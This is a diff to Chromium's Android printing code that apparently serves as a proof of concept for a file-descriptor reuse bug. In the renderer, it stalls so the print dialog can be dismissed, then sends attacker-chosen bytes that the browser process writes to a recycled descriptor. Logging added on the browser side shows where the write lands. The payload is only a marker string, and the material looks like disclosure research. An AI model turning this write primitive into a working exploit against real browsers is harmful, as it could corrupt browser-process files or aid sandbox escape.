diff --git a/components/printing/renderer/print_render_frame_helper.cc b/components/printing/renderer/print_render_frame_helper.cc --- a/components/printing/renderer/print_render_frame_helper.cc +++ b/components/printing/renderer/print_render_frame_helper.cc @@ -39,6 +39,7 @@ #include "base/task/single_thread_task_runner.h" #include "base/task/thread_pool.h" #include "base/thread_annotations.h" +#include "base/threading/platform_thread.h" #include "base/time/time.h" #include "base/types/expected.h" #include "build/build_config.h" @@ -2349,6 +2350,49 @@ bool PrintRenderFrameHelper::PrintPagesNative(blink::WebLocalFrame* frame, return false; } +#if BUILDFLAG(IS_ANDROID) + // --------------------------------------------------------------------------- + // POC: fd-reuse write in PrintingContextAndroid (CWE-910). + // + // At this point the browser-side PrintingContextAndroid has cached the raw + // int fd_ extracted from the Java-owned ParcelFileDescriptor (via the + // ScriptedPrint(is_scripted=false) round-trip that just completed in + // GetPrintSettingsFromUser()). The PrinterQuery holding that + // PrintingContextAndroid is now parked in PrintQueriesQueue under + // print_params.document_cookie. + // + // A compromised renderer stalls here. While stalled, the user dismisses the + // Android system print dialog (Back / Cancel). Per crbug.com/863297, the + // Android framework invokes PrintDocumentAdapter.onFinish() *before* the + // pending WriteResultCallback resolves. PrintingControllerImpl.onFinish() + // then calls closeFileDescriptor() -> mFileDescriptor.close(), releasing the + // kernel fd integer back to the OS. Native fd_ is never invalidated. + // + // After the stall, the renderer sends DidPrintDocument with fully + // attacker-controlled bytes. The browser's PrintJobWorker calls + // PrintingContextAndroid::PrintDocument -> MetafileSkia::SaveToFileDescriptor + // -> base::WriteFileDescriptor(stale_fd, attacker_bytes), writing to whatever + // descriptor the kernel reassigned that integer to. + // --------------------------------------------------------------------------- + LOG(ERROR) << "[POC] ScriptedPrint returned cookie=" + << print_params.document_cookie + << " — browser has cached fd_. Stalling 12s; dismiss the system " + "print dialog NOW (tap Back/Cancel)."; + base::PlatformThread::Sleep(base::Seconds(12)); + LOG(ERROR) << "[POC] Resuming. Replacing metafile with attacker payload and " + "sending DidPrintDocument."; + + // Replace the rendered PDF bytes with a recognisable attacker-controlled + // payload. On low-memory Android (IsOopifEnabled()==false) the browser writes + // these bytes verbatim via MetafileSkia::InitFromData -> + // SaveToFileDescriptor. + static constexpr char kPayload[] = + "POC-FD-REUSE: bytes written by browser process to recycled fd\n"; + base::MappedReadOnlyRegion poc_region = + base::ReadOnlySharedMemoryRegion::Create(sizeof(kPayload) - 1); + memcpy(poc_region.mapping.memory(), kPayload, sizeof(kPayload) - 1); + page_params->content->metafile_data_region = std::move(poc_region.region); +#endif // BUILDFLAG(IS_ANDROID) + page_params->document_cookie = print_params.document_cookie; #if BUILDFLAG(IS_WIN) page_params->physical_offsets = printer_printable_area_.origin(); diff --git a/printing/printing_context_android.cc b/printing/printing_context_android.cc --- a/printing/printing_context_android.cc +++ b/printing/printing_context_android.cc @@ -7,6 +7,9 @@ #include #include +#include +#include +#include #include #include "base/android/jni_android.h" @@ -135,6 +138,8 @@ void PrintingContextAndroid::AskUserForSettingsReply(JNIEnv* env, // printing code for Android, this is harmless. // TODO(thestig): See if the call to set_device_name() can be removed. fd_ = Java_PrintingContext_getFileDescriptor(env, j_printing_context_); + LOG(ERROR) << "[POC] PrintingContextAndroid cached raw fd_=" << fd_ + << " from Java-owned ParcelFileDescriptor"; DCHECK(is_file_descriptor_valid()); settings_->set_device_name(base::NumberToString16(fd_)); @@ -224,6 +229,21 @@ mojom::ResultCode PrintingContextAndroid::PrintDocument( return mojom::ResultCode::kCanceled; DCHECK(in_print_job_); DCHECK(is_file_descriptor_valid()); + // POC instrumentation: show what fd_ now refers to at write time. If the + // Java-side ParcelFileDescriptor was closed while the renderer stalled, this + // integer has been recycled by the kernel and points at an unrelated browser- + // process descriptor (or is unowned -> EBADF on the write below). + { + char link[64]; + char target[256]; + snprintf(link, sizeof(link), "/proc/self/fd/%d", fd_); + ssize_t n = readlink(link, target, sizeof(target) - 1); + if (n >= 0) target[n] = '\0'; + struct stat st {}; + int frc = fstat(fd_, &st); + LOG(ERROR) << "[POC] PrintDocument writing to fd_=" << fd_ + << " fstat=" << frc << " target=" << (n >= 0 ? target : ""); + } return metafile.SaveToFileDescriptor(fd_) ? mojom::ResultCode::kSuccess : mojom::ResultCode::kFailed;